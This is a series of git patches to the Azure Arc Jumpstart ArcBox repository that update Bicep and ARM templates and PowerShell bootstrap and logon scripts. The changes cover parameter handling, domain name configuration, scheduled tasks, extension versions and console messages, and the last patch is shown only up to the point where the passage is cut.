a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -248,7 +248,7 @@ "id": "[variables('subnetRef')]" }, "privateIPAllocationMethod": "Dynamic", - "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),json('null'))]" + "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),null)]" } } ] diff --git a/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuCapi.json b/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuCapi.json index 3b9d6fb9c3..043000fb21 100644 --- a/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuCapi.json +++ b/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuCapi.json @@ -171,7 +171,7 @@ "id": "[variables('subnetRef')]" }, "privateIPAllocationMethod": "Dynamic", - "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),json('null'))]" + "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),null)]" } } ] diff --git a/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuRancher.json b/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuRancher.json index 804630cfbc..e94b880865 100644 --- a/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuRancher.json +++ b/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuRancher.json @@ -152,7 +152,7 @@ "id": "[variables('subnetRef')]" }, "privateIPAllocationMethod": "Dynamic", - "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),json('null'))]" + "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),null)]" } } ] diff --git a/azure_jumpstart_arcbox/ARM/mgmt/addsVm.json b/azure_jumpstart_arcbox/ARM/mgmt/addsVm.json index c2cc525d7d..9e2688a1c6 100644 --- a/azure_jumpstart_arcbox/ARM/mgmt/addsVm.json +++ b/azure_jumpstart_arcbox/ARM/mgmt/addsVm.json @@ -103,7 +103,7 @@ }, "privateIPAllocationMethod": "Static", "privateIPAddress": "[variables('addsPrivateIPAddress')]", - "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),json('null'))]" + "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),null)]" } } ] diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index e047f07b70..6cc859a059 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -39,7 +39,7 @@ param spnTenantId string param azdataUsername string = 'arcdemo' @secure() -param azdataPassword string = 'ArcPassword123!!' +param azdataPassword string param acceptEula string = 'yes' param registryUsername string = 'registryUser' @@ -114,7 +114,7 @@ resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { id: subnetId } privateIPAllocationMethod: 'Dynamic' - publicIPAddress: deployBastion == false ? PublicIPNoBastion : json('null') + publicIPAddress: deployBastion == false ? PublicIPNoBastion : null } } ] diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep index 02edc15366..dc0cf1ad5c 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep @@ -54,16 +54,14 @@ param kubernetesVersion string = '1.26.6' var serviceCidr_primary = '10.20.64.0/19' var dnsServiceIP_primary = '10.20.64.10' -var dockerBridgeCidr_primary = '172.17.0.1/16' var serviceCidr_secondary = '172.20.64.0/19' var dnsServiceIP_secondary = '172.20.64.10' -var dockerBridgeCidr_secondary = '192.168.0.1/16' var virtualNetworkName = 'ArcBox-VNet' var aksSubnetName = 'ArcBox-AKS-Subnet' var drVirtualNetworkName = 'ArcBox-DR-VNet' var drSubnetName = 'ArcBox-DR-Subnet' -resource aksClusterName_resource 'Microsoft.ContainerService/managedClusters@2022-07-02-preview' = { +resource aksClusterName_resource 'Microsoft.ContainerService/managedClusters@2023-10-02-preview' = { location: location name: aksClusterName identity: { @@ -97,7 +95,6 @@ resource aksClusterName_resource 'Microsoft.ContainerService/managedClusters@202 networkPlugin: 'azure' serviceCidr: serviceCidr_primary dnsServiceIP: dnsServiceIP_primary - dockerBridgeCidr: dockerBridgeCidr_primary } linuxProfile: { adminUsername: linuxAdminUsername @@ -116,7 +113,7 @@ resource aksClusterName_resource 'Microsoft.ContainerService/managedClusters@202 } } -resource drClusterName_resource 'Microsoft.ContainerService/managedClusters@2022-07-02-preview' = { +resource drClusterName_resource 'Microsoft.ContainerService/managedClusters@2023-10-02-preview' = { location: location name: drClusterName identity: { @@ -150,7 +147,6 @@ resource drClusterName_resource 'Microsoft.ContainerService/managedClusters@2022 networkPlugin: 'azure' serviceCidr: serviceCidr_secondary dnsServiceIP: dnsServiceIP_secondary - dockerBridgeCidr: dockerBridgeCidr_secondary } linuxProfile: { adminUsername: linuxAdminUsername diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuCapi.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuCapi.bicep index cea1f08a46..dd824f90d6 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuCapi.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuCapi.bicep @@ -80,7 +80,7 @@ resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { id: subnetId } privateIPAllocationMethod: 'Dynamic' - publicIPAddress: deployBastion== false ? PublicIPNoBastion : json('null') + publicIPAddress: deployBastion== false ? PublicIPNoBastion : null } } ] diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index cf62f179f1..342a423213 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -69,7 +69,7 @@ resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { id: subnetId } privateIPAllocationMethod: 'Dynamic' - publicIPAddress: deployBastion== false ? PublicIPNoBastion : json('null') + publicIPAddress: deployBastion== false ? PublicIPNoBastion : null } } ] diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 580683ea2e..50e288a352 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -51,9 +51,11 @@ param addsDomainName string = 'jumpstart.local' @description('Random GUID for cluster names') param guid string = substring(newGuid(),0,4) +@description('Azure location to deploy all resources') +param location string = resourceGroup().location + var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' -var location = resourceGroup().location var capiArcDataClusterName = 'ArcBox-CAPI-Data-${guid}' var k3sArcDataClusterName = 'ArcBox-K3s-${guid}' var aksArcDataClusterName = 'ArcBox-AKS-Data-${guid}' @@ -102,6 +104,7 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { params: { windowsAdminUsername: windowsAdminUsername windowsAdminPassword: windowsAdminPassword + azdataPassword: windowsAdminPassword spnClientId: spnClientId spnClientSecret: spnClientSecret spnTenantId: spnTenantId diff --git a/azure_jumpstart_arcbox/bicep/mgmt/addsVm.bicep b/azure_jumpstart_arcbox/bicep/mgmt/addsVm.bicep index c1f0f1c47d..df9635e885 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/addsVm.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/addsVm.bicep @@ -11,7 +11,7 @@ param windowsAdminUsername string = 'arcdemo' @minLength(12) @maxLength(123) @secure() -param windowsAdminPassword string = 'ArcPassword123!!' +param windowsAdminPassword string @description('The Windows version for the VM. This will pick a fully patched image of this given Windows version') param windowsOSVersion string = '2022-datacenter-g2' @@ -54,7 +54,7 @@ resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { } privateIPAllocationMethod: 'Static' privateIPAddress: addsPrivateIPAddress - publicIPAddress: ((!deployBastion) ? PublicIPNoBastion : json('null')) + publicIPAddress: ((!deployBastion) ? PublicIPNoBastion : null) } } ] @@ -127,7 +127,7 @@ resource vmName_DeployADDS 'Microsoft.Compute/virtualMachines/extensions@2022-03 type: 'CustomScriptExtension' typeHandlerVersion: '1.10' autoUpgradeMinorVersion: true - settings: { + protectedSettings: { fileUris: [ uri(templateBaseUrl, 'artifacts/SetupADDS.ps1') ] From e1061abe00f6d62f32bc7a1555b1294c1256ab85 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 10:47:00 +0200 Subject: [PATCH 046/456] Add cluster name and deployment details to console output --- .../artifacts/DataOpsLogonScript.ps1 | 17 ++++++++++++----- .../artifacts/DeploySQLMIADAuth.ps1 | 7 ++++--- 2 files changed, 16 insertions(+), 8 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index fe9268dbba..6d94d5cbb4 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -147,10 +147,12 @@ Start-Sleep -Seconds 10 Write-Header "Onboarding clusters as an Azure Arc-enabled Kubernetes cluster" $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { $cluster = $_ + $clusterName = $cluster.clusterName if ($cluster.context -ne 'capi') { - Write-Host "Checking K8s Nodes" + Write-Host "Checking K8s Nodes on $clusterName" kubectl get nodes --kubeconfig $cluster.kubeConfig Write-Host "`n" + Write-Host "Onboarding $clusterName as an Azure Arc-enabled Kubernetes cluster" az connectedk8s connect --name $cluster.clusterName ` --resource-group $Env:resourceGroup ` --location $Env:azureLocation ` @@ -161,8 +163,8 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { # Enabling Container Insights and Azure Policy cluster extension on Arc-enabled cluster Write-Host "`n" - Write-Host "Enabling Container Insights cluster extension" - az k8s-extension create --name "azuremonitor-containers" --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceId + Write-Host "Enabling Container Insights cluster extension on $clusterName" + az k8s-extension create --name "azuremonitor-containers" --cluster-name $clusterName --resource-group $Env:resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceId Write-Host "`n" } } @@ -180,11 +182,14 @@ Write-Header "Deploying Azure Arc Data Controller" $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { $cluster = $_ $context = $cluster.context + $clusterName = $cluster.clusterName Start-Transcript -Path "$Env:ArcBoxLogsDir\DataController-$context.log" + Write-Host "Deploying arc data services on $clusterName" + Write-Host "`n" az k8s-extension create --name arc-data-services ` --extension-type microsoft.arcdataservices ` --cluster-type connectedClusters ` - --cluster-name $cluster.clusterName ` + --cluster-name $clusterName ` --resource-group $Env:resourceGroup ` --auto-upgrade false ` --scope cluster ` @@ -230,6 +235,8 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsWorkspaceId-stage', $workspaceId | Set-Content -Path $dataControllerParams (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsPrimaryKey-stage', $workspaceKey | Set-Content -Path $dataControllerParams + Write-Host "Deploying arc data controller on $clusterName" + Write-Host "`n" az deployment group create --resource-group $Env:resourceGroup --name $cluster.dataController --template-file "$Env:ArcBoxDir\dataController.json" --parameters "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" Write-Host "`n" @@ -238,7 +245,7 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { Start-Sleep -Seconds 45 $dcStatus = $(if (kubectl get datacontroller -n arc --kubeconfig $cluster.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) } while ($dcStatus -eq "Nope") - Write-Host "Azure Arc data controller is ready!" + Write-Host "Azure Arc data controller is ready on $clusterName!" Write-Host "`n" Remove-Item "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" -Force Stop-Transcript diff --git a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 index 9a104f69fd..ad612f4017 100644 --- a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 @@ -180,10 +180,11 @@ $sqlInstances | Foreach-Object -ThrottleLimit 5 -Parallel { (Get-Content -Path $adConnectorParams) -replace 'serviceAccountProvisioning-stage', $serviceAccountProvisioning | Set-Content -Path $adConnectorParams (Get-Content -Path $adConnectorParams) -replace 'domainName-stage', $dcInfo.domain.Tolower() | Set-Content -Path $adConnectorParams + Write-Host "Deploying Azure Arc AD connector for $sqlMIName" az deployment group create --resource-group $Env:resourceGroup --name $sqlInstance.instanceName --template-file "$Env:ArcBoxDir\adConnector.json" --parameters "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" Write-Host "`n" Do { - Write-Host "Waiting for AD connector deployment. Hold tight, this might take a few minutes...(30s sleeping loop)" + Write-Host "Waiting for AD connector deployment for $sqlMIName. Hold tight, this might take a few minutes...(30s sleeping loop)" Start-Sleep -Seconds 30 $adcStatus = $(if (kubectl get adc adarc -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) } while ($adcStatus -eq "Nope") @@ -196,7 +197,7 @@ $sqlInstances | Foreach-Object -ThrottleLimit 5 -Parallel { # Deploying Azure Arc SQL Managed Instance - Write-Host "Deploying Azure Arc SQL Managed Instance" + Write-Host "Deploying the $sqlMIName Azure Arc SQL Managed Instance" $dataControllerId = $(az resource show --resource-group $Env:resourceGroup --name $sqlInstance.dataController --resource-type "Microsoft.AzureArcData/dataControllers" --query id -o tsv) $customLocationId = $(az customlocation show --name $sqlInstance.customLocation --resource-group $Env:resourceGroup --query id -o tsv) @@ -263,7 +264,7 @@ $sqlInstances | Foreach-Object -ThrottleLimit 5 -Parallel { Start-Sleep -Seconds 45 $dcStatus = $(if (kubectl get sqlmanagedinstances -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) } while ($dcStatus -eq "Nope") - Write-Host "Azure Arc SQL Managed Instance is ready!" + Write-Host "$sqlMIName Azure Arc SQL Managed Instance is ready!" Write-Host "`n" Remove-Item "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" -Force From 1bc153caf9bb9badce917560f94fe53d9fc739c3 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 11:32:01 +0200 Subject: [PATCH 047/456] Fix domain name variable in Bootstrap.ps1 --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index c4b26a4e3e..991b881438 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -376,10 +376,9 @@ if ($flavor -eq "DataOps") { $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." - Write-Host "`n" Write-Host "Joining client VM to domain" - Add-Computer -DomainName $Env:addsDomainName -LocalCredential $localCred -Credential $domainCred + Add-Computer -DomainName $addsDomainName -LocalCredential $localCred -Credential $domainCred Write-Host "Joined Client VM to $addsDomainName domain." # Disabling Windows Server Manager Scheduled Task From 663a0b258489e2f7c04ecf25ff517463a1dc8df2 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 11:35:31 +0200 Subject: [PATCH 048/456] Add support for custom domain name in Bootstrap.ps1 and clientVm.bicep --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 5 +++-- azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep | 5 ++++- azure_jumpstart_arcbox/bicep/main.bicep | 1 + 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 991b881438..e0d3d01758 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -30,7 +30,8 @@ param ( [string]$flavor, [string]$rdpPort, [string]$sshPort, - [string]$vmAutologon + [string]$vmAutologon, + [string]$addsDomainName ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) @@ -65,7 +66,7 @@ param ( [System.Environment]::SetEnvironmentVariable('templateBaseUrl', $templateBaseUrl, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('flavor', $flavor, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('automationTriggerAtLogon', $automationTriggerAtLogon, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('addsDomainName', "jumpstart.local", [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('addsDomainName', $addsDomainName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('aksArcClusterName', $aksArcClusterName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('aksdrArcClusterName', $aksdrArcClusterName, [System.EnvironmentVariableTarget]::Machine) diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 81dd84b556..427a5478de 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -99,6 +99,9 @@ param aksArcClusterName string = 'ArcBox-AKS-Data' @description('The name of the AKS DR cluster') param aksdrArcClusterName string = 'ArcBox-AKS-DR-Data' +@description('Domain name for the jumpstart environment') +param addsDomainName string = 'jumpstart.local' + var bastionName = 'ArcBox-Bastion' var publicIpAddressName = deployBastion == false ? '${vmName}-PIP' : '${bastionName}-PIP' @@ -200,7 +203,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName}' } } } diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 88f929a66a..7e4540db6a 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -128,6 +128,7 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { aksdrArcClusterName : aksDrArcDataClusterName vmAutologon: vmAutologon rdpPort: rdpPort + addsDomainName: addsDomainName } dependsOn: [ updateVNetDNSServers From f1d8bddf679ff0b685aeb938a1c79580d5836dfc Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 12:42:52 +0200 Subject: [PATCH 049/456] Add conditional task execution based on environment flavor --- azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index 549120bc73..a1b372ca24 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -36,7 +36,11 @@ switch ($env:flavor) { } # Start remaining logon scripts -Get-ScheduledTask *LogonScript* | Start-ScheduledTask +if($env:flavor -eq 'DataOps') { + Get-ScheduledTask RunAfterClientVMADJoin | Start-ScheduledTask +}else{ + Get-ScheduledTask *LogonScript* | Start-ScheduledTask +} #Cleanup Unregister-ScheduledTask -TaskName 'WinGetLogonScript' -Confirm:$false From f9a68b55ba3c975f2583aa99a2a331cf64b1c5f2 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 12:43:49 +0200 Subject: [PATCH 050/456] Fix local account disabling in RunAfterClientVMADJoin.ps1 --- azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index 69d56d867f..2a0a0d9b9a 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -45,7 +45,7 @@ Register-ScheduledTask -TaskName "ArcServersLogonScript" -Trigger $Trigger -Acti Write-Host "Registered scheduled task 'ArcServersLogonScript' to run at user logon." #Disable local account -$account=(Get-LocalGroupMember -Group "Administrators" | where {$_.PrincipalSource -eq "Local"}).name.split('\')[1] +$account=(Get-LocalGroupMember -Group "Administrators" | Where-Object {$_.PrincipalSource -eq "Local"}).name.split('\')[1] net user $account /active:no # Delete schedule task From f9d08a34c31e3ec0565e5b3a38e892fddd63ca63 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 13:19:04 +0200 Subject: [PATCH 051/456] Add scheduled task for WinGet.ps1 in Bootstrap.ps1 --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index e0d3d01758..5e932d4b13 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -326,11 +326,6 @@ Write-Header "Configuring Logon Scripts" $ScheduledTaskExecutable = "pwsh.exe" -# Creating scheduled task for WinGet.ps1 -$Trigger = New-ScheduledTaskTrigger -AtLogOn -$Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 -Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force - if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { # Creating scheduled task for ArcServersLogonScript.ps1 $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 @@ -378,6 +373,12 @@ if ($flavor -eq "DataOps") { Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." Write-Host "`n" + + # Creating scheduled task for WinGet.ps1 + $Trigger = New-ScheduledTaskTrigger -AtLogOn + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + Write-Host "Joining client VM to domain" Add-Computer -DomainName $addsDomainName -LocalCredential $localCred -Credential $domainCred Write-Host "Joined Client VM to $addsDomainName domain." From b706620ebf0a3f707611efd483e49beb747bdd54 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 13:52:12 +0200 Subject: [PATCH 052/456] Add SPN credential for Az PowerShell login --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index ab80ef2cda..3e11b1ddfb 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -157,6 +157,8 @@ if ($Env:flavor -ne "DevOps") { az login --service-principal --username $spnClientId --password $spnClientSecret --tenant $spnTenantId Write-Header "Az PowerShell Login" + $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force + $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId # Register Azure providers From 2c78dbae6551b01077664f504b4e266c8c88f822 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 13:53:51 +0200 Subject: [PATCH 053/456] Update Arc version to 1.25.0 --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 6d94d5cbb4..c30ec246ec 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -194,7 +194,7 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { --auto-upgrade false ` --scope cluster ` --release-namespace arc ` - --version 1.18.0 ` + --version 1.25.0 ` --config Microsoft.CustomLocation.ServiceAccount=sa-bootstrapper Write-Host "`n" From 4ca399eb8d55a52877a9531aa7c75513e0d39e08 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 11:47:53 +0200 Subject: [PATCH 054/456] Fix autologon condition and configure RDP port --- .../artifacts/Bootstrap.ps1 | 53 +++++++++++-------- 1 file changed, 30 insertions(+), 23 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index c75a944d4c..5f4b8e678c 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -104,7 +104,7 @@ Start-Transcript -Path 